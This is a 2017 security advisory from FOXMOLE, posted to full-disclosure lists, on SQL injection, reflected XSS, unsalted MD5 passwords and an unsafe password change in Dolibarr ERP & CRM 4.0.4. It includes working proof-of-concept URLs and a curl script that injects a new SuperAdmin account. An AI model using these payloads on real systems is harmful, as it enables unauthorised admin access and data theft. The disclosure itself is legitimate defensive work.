[FOXMOLE SA 2017-02-23] Dolibarr ERP & CRM - Multiple Issues

FOXMOLE Advisories <[email protected]> Wed, 10 May 2017 10:26:35 +0200
Newsgroups	gmane.comp.security.fulldisclosure,gmane.comp.security.bugtraq,gmane.comp.security.news.securitytracker
Message-ID	<[email protected]>
--===============1156888872189731522==
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature";
	boundary="IvCavqM1V3CCK2fqNbd6P87Bge5l2VTxJ"

--IvCavqM1V3CCK2fqNbd6P87Bge5l2VTxJ
From: FOXMOLE Advisories <[email protected]>
To: [email protected], bugtraq-o7tR/nIX9Vi1EmJ4MpGYnQC/[email protected],
 bugs-o7tR/[email protected], [email protected]
Message-ID: <329b139f-ec84-0df0-3b98-40dbbc0f9728-BSFLJrG4wehBDgjK7y7TUQ@public.gmane.org>
Subject: [FOXMOLE SA 2017-02-23] Dolibarr ERP & CRM - Multiple Issues
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

=3D=3D=3D FOXMOLE - Security Advisory 2017-02-23 =3D=3D=3D

Dolibarr ERP & CRM  - Multiple Issues
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected Versions
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Dolibarr 4.0.4

Issue Overview
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Vulnerability Type: SQL Injection, Cross Site Scripting,
                    Weak Hash Algorithm without Salt, Weak Password Chang=
e Method
Technical Risk: critical
Likelihood of Exploitation: medium
Vendor: Dolibarr
Vendor URL: https://www.dolibarr.org/
Credits: FOXMOLE employees Tim Herres and Stefan Pietsch
Advisory URL: https://www.foxmole.com/advisories/foxmole-2017-02-23.txt
Advisory Status: Public
OVE-ID: OVE-20170223-0001
CVE Number: CVE-2017-7886, CVE-2017-7887, CVE-2017-7888
CVE URL: https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=3D2017-7886
         https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=3D2017-7887
         https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=3D2017-7888
CWE-ID: CWE-79, CWE-89, CWE-327, CWE-620, CWE-759
CVSS 2.0: 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)


Impact
=3D=3D=3D=3D=3D=3D
There are SQL injection vulnerabilities, exploitable without authenticati=
on.
An attacker could use the SQL Injection to access the database in an unsa=
fe way.
This means there is a high impact to all Dolibarr installations.
The passwords in the database are stored as MD5 hashes which means they a=
re easily crackable.
The Dolibarr software also lacks input validation resulting in different =
reflected XSS vulnerabilities.

Information
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
We only provide examples for issues, there are quite more.
It is really important to check the whole application for further vulnera=
bilities.
We want that developers change the overall security according to security=
 best
practices instead of fixing only particular issues.

Issue Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All items tested using FF52.

1.) SQL Injection in style.css.php (CVE-2017-7886)
Authentication Required:No

PoC:
http://192.168.241.143/doli/theme/eldy/style.css.php?lang=3Dde%27%20proce=
dure%20analyse(extractvalue(rand()%2cconcat(concat(0x3a,CURRENT_USER())))=
%2c1)--%201


PoC creating a new admin user via SQL Injection:

#########################################################################=
#########
#!/bin/bash
URL=3D"http://192.168.19.19/theme/eldy/style.css.php?lang=3Dde%27%3BINSER=
T%20INTO%20\
llx_user%20VALUES%20(424242%2C%200%2C%20NULL%2C%20NULL%2C%201%2C%200%2C%2=
0%27\
1984-01-01%2000%3A00%3A00%27%2C%20%271984-01-01%2000%3A00%3A00.000%27%2C%=
20NULL\
%2C%20NULL%2C%20%27newadmin%27%2C%20NULL%2C%20%27615295194528097206937025=
83126814\
%27%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20NULL%2C%20%27SuperAdmin%27%2C%20=
%27%27\
%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20NULL%2C%20NULL%2C%20%27%27%2C%2=
0%27\
%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%201%2C=
%201%2C\
%201%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20%=
27\
2017-03-10%2000%3A00%3A00%27%2C%20%272017-03-10%2000%3A00%3A00%27%2C%20NU=
LL%2C\
%20%27%27%2C%20NULL%2C%201%2C%20NULL%2C%20NULL%2C%20%27%27%2C%20NULL%2C%2=
00%2C\
%20%27%27%2C%200%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL)%3B--%=
27"

curl -s ${URL}
#########################################################################=
#########

The script creates the user 'NEWADMIN' with password 'ximaz'.


2.) Cross Site Scripting Reflected (CVE-2017-7887)
http://192.168.241.143/doli/societe/list.php?sall=3Dasd%3Cscript%3Ealert(=
%22xss%22)%3C%2Fscript%3E

3.) Passwords stored using MD5 hashes (CVE-2017-7888)
The application stored the passwords using the MD5 hash algorithm without=
 a
salt. The MD5 hash is easily crackable.

dolibarr=3D# SELECT login,pass_crypted FROM llx_user;
 login |           pass_crypted
-------+----------------------------------
 admin | 21232f297a57a5a743894a0e4a801fc3

4.) Unsafe password change method
A user can change his password without entering the recent one.



Temporary Workaround and Fix
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D
FOXMOLE advises to restrict the access to all vulnerable Dolibarr systems=
 until all vulnerabilities are fixed.



History
=3D=3D=3D=3D=3D=3D=3D
2017-02-15  Issue discovered
2017-03-06  Vendor contacted
2017-03-27  informed Vendor about disclosure date (2017-05-10)
2017-04-18  added CVE Numbers
2017-05-10  Advisory Release


GPG Signature
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
This advisory is signed with the GPG key of the FOXMOLE advisories team.
The key can be downloaded here: https://www.foxmole.com/advisories-key-38=
12092199E3277C.asc


--IvCavqM1V3CCK2fqNbd6P87Bge5l2VTxJ
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEjrQMZqTYqiY2IftqOBIJIZnjJ3wFAlkSzrsACgkQOBIJIZnj
J3xZmw/9HGVytLflfmhA2lmSle8mZiJhKKDbUsirK0xFt+6zcbxys/UJTpVH4uyG
naGhm6A7p4yaUZJ61itDbSvAE93RnZti4RRIKd1Rbw+tc6w/I8YBG59BuIKCDaMy
9AXN9erhEOPuss55vwPAuN3E4rN1SB19q54OW91a2oDnRLM8+GVKqehE4vjXBzZR
5YhDAoh6HiDPe49vBhAt2o778pSLCS4HXgikbJZCyUwjboRdyBY9eeZ6NSD82aSA
KAJPfwHRZCqMJF6JLVbrVIsmgQ2O7Ehy7HPS+vVT0jNb9w5hxPVXyFmKXHrLCYLt
pNEovANiIyjdTIORv1WLcYRhUgJ7bFvTsZsqCCXgHP/QGUdvTi8jWNRV+dcocB6r
3pkWEGEdiIFHcxdZExac5LhObc3MlfdzkkNPxSwZQVcveGloK9Qdum3SBlRPjrxR
b4BNXLj1oj5p+fTtHXuVWS6TAvMw/f0z2bWW55hMyxWefPSSWEn7JGUMFB6YToCX
Z4shCUFYXnao6UEqa2Sa3dAIo/Ilvtj1KtxccsoNmDFTHjkymKfrdUYRXf6fxGqJ
3ljGbaO2XdB3aQgLhGFyh5AQI4utwp1HhPZxeasiM4ZrCNvE9n4eD21BI8Rmdk+k
ULEZse3J1ywCjDRLZ2zYg8pZyG+WEcR8fzGjgHTWhXgG0iOAaSk=
=Rk6M
-----END PGP SIGNATURE-----

--IvCavqM1V3CCK2fqNbd6P87Bge5l2VTxJ--

--===============1156888872189731522==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline